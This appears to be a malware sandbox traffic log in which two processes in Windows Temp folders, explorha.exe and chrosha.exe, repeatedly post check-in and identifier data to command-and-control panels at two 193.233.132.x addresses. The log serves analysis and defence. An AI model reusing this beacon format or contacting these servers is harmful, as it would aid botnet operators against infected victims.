63	192.168.2.4	49859	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:42.124229908 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:42.370373964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:42.583920956 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:42.831726074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49858	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:42.124501944 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:42.371959925 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:42.617297888 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:42.869082928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49860	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:43.317805052 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:43.564249992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:43.564963102 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:43.815902948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49861	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:43.317821026 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:43.555093050 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:43.563451052 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:43.805953979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49863	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:44.173311949 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:44.423381090 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:44.424129963 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:44.679367065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49864	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:44.183073044 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:44.435134888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:44.435842037 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:44.691009998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49866	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:45.041928053 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:45.288893938 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:45.289930105 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:45.541471958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49867	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:45.045815945 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:45.287950039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:45.288696051 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:45.535288095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49871	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:45.896538019 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:46.140953064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:46.141829967 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:46.389189005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49870	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:45.900147915 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:46.148526907 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:46.149282932 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:46.401585102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49872	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:46.753936052 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:46.998758078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:46.999572039 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:47.249032021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49873	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:46.756990910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:47.004539967 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:47.005234957 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:47.257694960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49874	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:47.610042095 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:47.851454973 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
